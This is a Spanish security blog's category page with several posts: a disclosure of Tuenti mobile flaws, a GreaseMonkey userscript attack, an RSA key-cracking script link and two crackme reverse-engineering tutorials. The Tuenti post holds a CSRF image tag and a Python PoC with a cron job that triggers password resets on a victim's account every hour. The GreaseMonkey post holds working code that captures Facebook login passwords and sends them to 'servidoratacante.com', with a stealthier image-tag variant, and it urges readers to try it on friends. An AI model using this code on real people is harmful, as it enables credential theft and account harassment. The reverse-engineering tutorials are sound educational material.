Archivo de la categoría: Seguridad

Pequeñas “vulnerabilidades” en tuenti móvil

Escribo este post para reportar públicamente un par de vulnerabilidades (probablemente haya más, no me he de tenido a examinar muy a fondo) de la versión móvil de tuenti. La primera de las vulnerabilidades es de un peligro mínimo y es hasta difícil de explotar, pero como no tengo nada que escribir, aquí la pongo. La segunda si que puede resultar un poco molesta si se explota de forma adecuada.

La primera de las vulnerabilidades consiste en que podemos hacer que el estado de la víctima se cambie por un estado vacío. Lo sé, es una tontería. Para proceder a “explotarla”  tenemos que hacer que la víctima abra una página (pasándole un enlace y que este lo clique) que contenga este código :

</pre>
<img src="http://m.tuenti.com/?m=profile&func=process_set_status" alt="" />
<pre>

teniendo este la sesión de tuenti móvil abierta.

Después de esto, otro “problema” de seguridad es que en la versión móvil, el formulario para mandar una nueva contraseña al correo no tiene un capchta, por lo que se puede automatizar perfectamente el proceso obligando a la víctima a que se le cambie la contraseña. Este proceso no puede ser continuo ya que tuenti tiene implementada una “medida de seguridad” que hace que solo se pueda hacer esto una vez cada hora. De cualquier manera esto es algo que puede ser bastante molesto.

Para demostrar esto último, he hecho un PoC en python que realiza esta tarea:

#!/usr/bin/python
#PoC para vulnerabilidad de tuenti
# @BraulioVM
import urllib, urllib2, sys

if len(sys.argv) != 2:
  print "Usage: python ",sys.argv[0],"  "
  exit()

urlPoc = "http://m.tuenti.com/?m=login&func=process_forgot_password"
correoVictima = sys.argv[1]
postData = urllib.urlencode({ 'tuentiemail' : correoVictima })
code = urllib2.urlopen(urlPoc, postData).read()

if "Lo sentimos" in code:
  print "Posiblemente hubo un error, intentelo mas tarde"
else :
  print "Si el correo era correcto, posiblemente se haya completado la tarea con exito"

Si queremos que se ejecute cada hora, en linux basta con que añadamos el siguiente script a la carpeta /etc/cron.hourly/

#!/bin/sh
python /ruta/hacia/el/poc.py emailquesea@email.com

Para comprobar si el servicio cron está corriendo hacemos:

/etc/init.d/crond status

Y si no está en marcha lo iniciamos con

/etc/init.d/crond start

Bueno, eso ha sido todo. Me imagino que gracias a los reportes, los ingenieros de tuenti arreglarán la segunda vulnerabilidad y quizás también la primera.

Saludos.

Anuncios

Trolleando a usuarios poco precavidos gracias a GreaseMonkey

Mucha gente conoce el complemento para Firefox de GreaseMonkey. Es un complemento que puede ser bastante útil para un montón de cosas diferentes, la mayoría de ellas benévolas. De hecho, se ha formado una gran comunidad alrededor de los scripts que realizan los usuarios para usar en este add-on.

Para el que no conozca que hace este complemento, diré que lo que permite es ejecutar un código javascript hecho por el usuario según la página que se esté visitando. Este código javascript es como si proviniera de la página, es decir, tiene todos los permisos para modificar todos los elementos. Ahí es donde está el peligro.

Para enseñar este peligro, he hecho un pequeño script que se ejecutaría cuando se carga facebook y lo que hace es detectar cuando se envía el formulario de login para leer la contraseña. Con esa contraseña se pueden hacer varias cosas malignas discretas y útiles, pero yo simplemente la voy a mostrar con un alert() y voy a abrir una página a la que se pasa por GET la pass (obviamente para que fuera útil habría que mandar también el email) .

Antes de enseñar el script, tengo que dar todo el crédito que se merece a Joan Piedra, que se ingenió la forma de cargar jQuery desde un script de greasemonkey. Yo uso su código en mi script para facilitar todo el trabajo (de hecho la porción de código que es mia son simplemente dos o tres líneas ya que solo quería hace un PoC). Bueno, aquí está el código :


// ==UserScript==
// @name           FacebookS
// @namespace      hacks
// @include        https://www.facebook.com/*
// ==/UserScript==

var $;

// Add jQuery
    (function(){
        if (typeof unsafeWindow.jQuery == 'undefined') {
            var GM_Head = document.getElementsByTagName('head')[0] || document.documentElement,
                GM_JQ = document.createElement('script');

            GM_JQ.src = 'http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js';
            GM_JQ.type = 'text/javascript';
            GM_JQ.async = true;

            GM_Head.insertBefore(GM_JQ, GM_Head.firstChild);
        }
        GM_wait();
    })();

// Check if jQuery's loaded
    function GM_wait() {
        if (typeof unsafeWindow.jQuery == 'undefined') {
            window.setTimeout(GM_wait, 100);
        } else {
            $ = unsafeWindow.jQuery.noConflict(true);
            letsJQuery();
        }
    }

// Aquí está el código que hace lo importante, obtiene la pass y la maneja
    function letsJQuery() {
        $('form').submit(function() {
            texto = $('#pass').attr('value');
            alert(texto);
            open('http://servidoratacante.com/recibe.php?pass='+texto);
         });
    }

Si queréis probarlo solo tenéis que añadir ese script a vuestro Greasemonkey y ver como algún amigo vuestro os revela su contraseña ante su máximo asombro.

Es un método que puede pasar bastante desapercibido si se mejoran algunas cosas. Por ejemplo, para que fuera útil se podría quitar el alert, y insertar en alguna parte de la página algo así:

<img src='http://servidoratacante.com/recibe.php?pass=<pass>' />

Como se hace en los típicos ejemplos de CSRF (me refiero a lo de hacer la petición via img para que no se vea muy sospechoso). Esto sería bastante sencillo de hacer con javascript.

Bueno, este es el final del artículo, espero que os haya interesado. Lo último que tengo que decir es: “no jodáis mucho“.

Saludos.


Script para encontrar una clave privada de RSA

Como no tenía absolutamente nada que hacer y esta es una idea que tenía desde hace un tiempo, he decidido llevarla a cabo. El script está programado en python y el código viene con algunos comentarios que pueden ayudar a su entendimiento.

Obviamente, no he programado este script para encontrar las clave privadas que usa la gente, para esto se necesita unos computadores muy potentes y unos algoritmos muy eficientes. Este script está programado con la intención de enseñar como funcionaría el cracking de una clave privada en RSA.

Para usar el programa,  necesitas suministrar la clave pública, que si sabes un poco de RSA, sabrás que está compuesta por  dos números (la clave pública en sí, y luego el módulo). Se suministran como argumentos por la línea de comandos de esta forma:

./KeyCracker.py 56789 99400891

Y te averiguará la clave pública.

Si quieres el código, podrás encontrarlo aquí : http://pastebin.com/GaVzJqTP


Paper sobre RSA

Aquí está el último paper que he escrito:

Documento explicativo sobre RSA

La obra está compartida bajo licencia creative commons (by-sa)


[Humor] Post para novatos: ¿Para qué sirve la criptografía?

Basicamente es esto :


Introducción a la ingeniería inversa en linux (II)

Esta es la parte 2, podéis ver la 1 aquí .

Debido a que hay personas a las que les ha parecido interesante la introducción a la ingeniería inversa en linux, voy a seguir publicando mis progresos en esta rama de la seguridad informática.

Lo que voy a hacer hoy,  va a ser analizar otro crackme (más complicado que el anterior) que he encontrado en la página http://www.crackmes.de .

Concretamente, el crackme que vamos a usar ahora lo podéis encontrar en esta dirección : http://www.crackmes.de/users/lord/easy_linux_crackme/ .

Bueno, una vez que lo habéis descargado y le habéis asignado permisos de ejecución vamos a proceder al análisis.

Lo primero que vamos a hacer es ejecutarlo y ver que pasa.

[Familia@linuxArriba inge]$ ./cm1eng
Password : 123456

[Familia@linuxArriba inge]$

Lo primero que podemos observar es que mi nombre de usuario es Familia, lo es xD .No nos muestra ningún mensaje de ningún tipo por lo que podemos pensar que no hemos acertado la contraseña. Ahora, vamos a aplicarle el comando strings para ver si está guardada la contraseña en texto plano.

[Familia@linuxArriba inge]$ strings cm1eng

Password :

Great you did it !:)

QTBXCTU

[Familia@linuxArriba inge]$

Y en este momento yo ya pensé que se acababa el crackme porque habíamos encontrado la contraseña (QTBXCTU), pero si la probáis veréis que el programa hace los mismo que con cualquier otra contraseña (bueno, no cualquier otra, por eso estamos intentando crackearlo).

Como no hemos tenido éxito , vamos a proceder a desensamblarlo.

Para desensamblar el binario vamos a usar el programa objdump que probablemente ya os venga instalado en vuestra distribución de linux. Para desensamblar, ejecutamos el siguiente comando: “objdump -d cm1eng

He pegado la salida del comando en pastebin porque quizás aqui no quedaba muy bien. Podéis verla aquí : http://pastebin.com/MbypxFXL .

Antes de continuar os voy a enseñar una cosa importante de ASM en linux. Cada vez que se hace la interrupción 0x80, lo que se hace es llamar a una syscall. Dicho muy mal y pronto, una syscall es como una función de la API del sistema linux ( o cualquier unix-based system ). Por ejemplo, hay algunas syscalls que sirven para escribir (ya sea en la pantalla, en ficheros …) , otras para cambiar el permiso de archivos , para crear threads … Aquí podemos encontrar una lista con syscalls http://fxr.watson.org/fxr/source/kern/syscalls.c. Cada syscall tiene asignada un número que será muy importante para identificarla.

El procedimiento para llamar a una syscall en assembly sería algo así:

  1. Guardar en eax el número de la syscall (imaginemos que queremos usar  la syscall write, cuyo número es 4): “mov $4, %eax
  2. En ebx se guarda el primer parámetro (en nuestro caso es un file descriptor, y como nosotros queremos escribir en la standart output elegimos el 1): “mov $1 , %ebx
  3. En ecx el 2º parámetro. En la syscall write es el mensaje, osea que le pasamos la dirección de nuestra string : “mov $0xblabla, %ecx
  4. En edx el 3º parámetro (así consecutivamente). En write() sería la longitud del mensaje, si el mensaje fuera hola sería: “mov $4,%edx
  5. Llamar a la interrupción 0x80. “int 0x80

Osea, siempre que veamos un  “int 0x80” tenemos que saber que se está haciendo una syscall y tenemos que ver que es lo que hacen esas syscalls.

Bueno, ahora que podemos analizar el código vemos que al principio hay dos syscalls, que son write() y read() y por la ejecución del programa sabemos que esa es la parte que se encarga de mostrarnos el “Password :” y de leer la contraseña que pongamos. Si no me creéis podéis mirar en las direcciones de memoria que vienen ahí.  Luego vemos esto :

mov    $0x8049126,%esi

Si desde el gdb miramos que hay en esa dirección de memoria (printf “%s\n” , 0x8049126 o x/s 0x8049126) veremos que se encuentra la string “QTBXCTU” que intentamos meter antes como contraseña. En la siguiente línea se copia el contenido de %esi (la string) al registro %edi y en la siguiente, se pone a 0 el registro %ebx que veremos que va a funcionar como un contador.

Poniéndonos a mirar el resto del código , podemos notar que desde la dirección 0x80480b6 hasta 0x80480c3 hace lo siguiente :

  1. :Cifra
  2. Guarda el byte número %ebx de la cadena de %esi en %al
  3. %al = %al xor 0x21
  4. Guarda %al en su sitio correspondiente en %edi (posición %ebx)
  5. %ebx = %ebx+1
  6. Si %ebx es igual 7 continúa, si es distinto vuelve a Cifra.

Tras eso, vemos que guarda nuestra cadena (la que hemos insertado nosotros, sabemos cual es debido a que la pasa como parámetro en la syscall read (3)) en el registro %esi y luego guarda la cadena ya modificada.  Luego compara los primeros 7 bytes de las cadenas y si coinciden, veremos el cartel del chico bueno, si no coinciden saldrá directamente.

Tras ver esto, hay dos soluciones :

  1. Poner un breakpoint en alguna dirección de memoria en la que ya se haya modificado la cadena y ver la cadena.
  2. Cifrar nosotros la cadena a mano(quien dice a mano dice hacerse un programita para verlo)

Yo como me imagino que no tenéis ningún problema con la programación pero que puede ser distinto con el manejo de debuggers voy a optar por la primera.  La dirección en la que voy a poner el breakpoint va a ser en 0x80480c5 porque es ahí donde va cuando %ebx es igual a 7 y por lo tanto ya ha acabado la rutina de cifrado.

Abrimos el programa con el gdb ( “gdb cm1eng” ) y para poner el breakpoint lo hacemos así:

(gdb) break *0x80480c5

Breakpoint 1 at 0x80480c5

(gdb) run #corremos el programa

Nos saldrá de nuevo el prompt para meter la contraseña y cuando metamos la que sea llegará al breakpoint. En ese momento, la string a la que se va a comparar nuestra string ya está modificada y solo tenemos que ver su contenido. Si miráis el código, veréis que esa string se encuentra en la dirección 0x8049126.

(gdb) x/s 0x8049126

0x8049126: “pucybut”

Fuck yeah! Ya tenemos ahí nuestra contraseña de nuevo. Si nos vamos a ejecutar el programa:

[Familia@linuxArriba inge]$ ./cm1eng
Password : pucybut

Great you did it !:)
[Familia@linuxArriba inge]$

 

Finalmente hemos conseguido reventar la protección de este crackme.

Espero que les haya gustado esta nueva parte y en la próxima parte aprenderemos como parchear binarios de este tipo para poder conseguir el cartel de chico bueno sin siquiera saber la contraseña.


Introducción a la ingeniería inversa en linux (I)

Esta es la parte 1, podéis ver la 2 aquí .

La ingeniería inversa es un tema que siempre me ha llamado la atención aunque nunca me he sentido muy cómodo en ella.  Esta mañana me propuse el reto de crear un crackme a modo de ejemplo y conseguir crackearlo. Lo he conseguido (a muchos no les parecerá algo muy difícil, pero para mi es un mundo) y voy a mostraros como lo he hecho.

Antes de nada, para seguir esta introducción necesitaremos una distribución de linux (obvio) , gdb (suele venir instalado en todas las distros) y el paquete gcc-g++ para compilar nuestro crackme. Serán casi necesarios conocimientos de C/C++ y de ASM será útiles aunque no obligatorios.

Empecemos. Este va a ser el código de nuestro primer crackme :

#include <iostream>
#include <string.h>

using namespace std;

int main()
{
char palabra[50];

cout << ” Cual es la contrasenia ?? ” << endl;
cin >> palabra;

if (!strcmp(palabra,”alfffamola”))
{
cout<< ” Yeeeeahh!! Tu tambien molas” <<endl;
}
else
cout<< “Pues esa no es la contrasenia” <<endl;

return 0;
}

Es verdaderamente sencillo y me imagino que no hacer falta que lo explique.  Bueno, nos disponemos a compilar con ” g++ crackme.cpp -o crackme y ya tenemos nuestro crackme ejecutable.

Veamos, nuestro objetivo va a ser encontrar donde está la “contraseña”, en este caso “alfffamola” . Para eso, nos vamos al debugger :

$ gdb crackme

Y lo primero que vamos a hacer va a ser desensamblar la función main, lo hacemos de esta forma :

(gdb) disas main
Dump of assembler code for function main:
0x080486d4 <+0>:     push   %ebp
0x080486d5 <+1>:     mov    %esp,%ebp
0x080486d7 <+3>:     and    $0xfffffff0,%esp
0x080486da <+6>:     sub    $0x50,%esp
0x080486dd <+9>:     movl   $0x80488a4,0x4(%esp)
0x080486e5 <+17>:    movl   $0x8049c00,(%esp)
0x080486ec <+24>:    call   0x80485c8 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
0x080486f1 <+29>:    movl   $0x80485f8,0x4(%esp)
0x080486f9 <+37>:    mov    %eax,(%esp)
0x080486fc <+40>:    call   0x80485e8 <_ZNSolsEPFRSoS_E@plt>
0x08048701 <+45>:    lea    0x1e(%esp),%eax
0x08048705 <+49>:    mov    %eax,0x4(%esp)
0x08048709 <+53>:    movl   $0x8049b60,(%esp)
0x08048710 <+60>:    call   0x80485d8 <_ZStrsIcSt11char_traitsIcEERSt13basic_istreamIT_T0_ES6_PS3_@plt>
0x08048715 <+65>:    movl   $0x80488c0,0x4(%esp)
0x0804871d <+73>:    lea    0x1e(%esp),%eax
0x08048721 <+77>:    mov    %eax,(%esp)
0x08048724 <+80>:    call   0x8048608 <strcmp@plt>
0x08048729 <+85>:    test   %eax,%eax
0x0804872b <+87>:    jne    0x8048753 <main+127>
0x0804872d <+89>:    movl   $0x80488cb,0x4(%esp)
0x08048735 <+97>:    movl   $0x8049c00,(%esp)
0x0804873c <+104>:   call   0x80485c8 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
0x08048741 <+109>:   movl   $0x80485f8,0x4(%esp)
0x08048749 <+117>:   mov    %eax,(%esp)
0x0804874c <+120>:   call   0x80485e8 <_ZNSolsEPFRSoS_E@plt>
0x08048751 <+125>:   jmp    0x8048777 <main+163>
0x08048753 <+127>:   movl   $0x80488e8,0x4(%esp)
0x0804875b <+135>:   movl   $0x8049c00,(%esp)
0x08048762 <+142>:   call   0x80485c8 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
0x08048767 <+147>:   movl   $0x80485f8,0x4(%esp)
0x0804876f <+155>:   mov    %eax,(%esp)
0x08048772 <+158>:   call   0x80485e8 <_ZNSolsEPFRSoS_E@plt>
0x08048777 <+163>:   mov    $0x0,%eax
0x0804877c <+168>:   leave
0x0804877d <+169>:   ret
End of assembler dump.
(gdb)

Y ahí podemos ver varias cosas importantes, main+24, refiere al primer cout; main+60, al cin;  luego en main+104 y en main+142 están los cout de “tu tambien molas” y “pues esa no es la contraseña”. Pero lo más impmortante de todo, es la llamada a strcmp en main+80. Ahí es donde se hace la comparación de las cadenas y se comprueba si la contraseña ingresada es válida.

Algunos conceptos que tenemos que tener claros son :

  • En ASM, los parámetros de las funciones se pasan moviendo las direcciones de estos a la pila, y luego ejecutando el call.  En ESP estará el primer parámetro y en ESP+4 estará el segundo parámetro (así consecutivamente).
  • En linux se usa el ASM AT&T osea, que :” mov %eax, %ebx ” copia %eax en %ebx y no al revés.

Nosotros tenemos que ver los parámetros que se le pasan a la función strcmp() porque ahí estarán la cadena que nosotros ingresemos y nuestra ansiada contraseña. Como la contraseña es el segundo parámetro, en el momento de llamar a strcmp() estará en ESP+0x4. Si nos ponemos a ver los movimientos que hay antes de la llamada a strcmp() podemos ver uno muy interesante : “movl   $0x80488c0,0x4(%esp)” . Esa instrucción es la que mueve una dirección a ESP+4, que es la dirección en la que tiene que estar la contraseña, por lo tanto, ¡en 0x80488c0 está nuestra querida contraseña! Vamos a comprobarlo :

(gdb) printf “%s\n” , 0x80488c0
alfffamola
(gdb)

Fuck Yeah! hemos encontrado nuestra contraseña sin siquiera ejecutar el programa. Ahora solo nos quedaría ejecutar el programa de nuevo e ingresar “alfffamola” para saber que nosotros también molamos.

También existe un método que es bastante sencillo pero con el que se aprende bastante menos que es usar el comando strings.

[braulio@linuxArriba inge]$ strings crackme
/lib/ld-linux.so.2
libstdc++.so.6
__gmon_start__
_Jv_RegisterClasses
_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_
_ZSt4cout
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc
_ZNSt8ios_base4InitC1Ev
_ZSt3cin
_ZStrsIcSt11char_traitsIcEERSt13basic_istreamIT_T0_ES6_PS3_
_ZNSt8ios_base4InitD1Ev
_ZNSolsEPFRSoS_E
libm.so.6
libgcc_s.so.1
libc.so.6
_IO_stdin_used
__cxa_atexit
strcmp
__libc_start_main
GLIBC_2.0
GLIBC_2.1.3
GLIBCXX_3.4
PTRh@
[^_]
Cual es la contrasenia ??
alfffamola
Yeeeeahh!! Tu tambien molas
Pues esa no es la contrasenia

Y ahí se ven las strings estáticas del programa. Como ahí la única que llama la atención es alfffamola, esa sería la primera que probaríamos (al menos yo lo haría así).

Bueno, aquí es donde acaba esta pequeña introducción.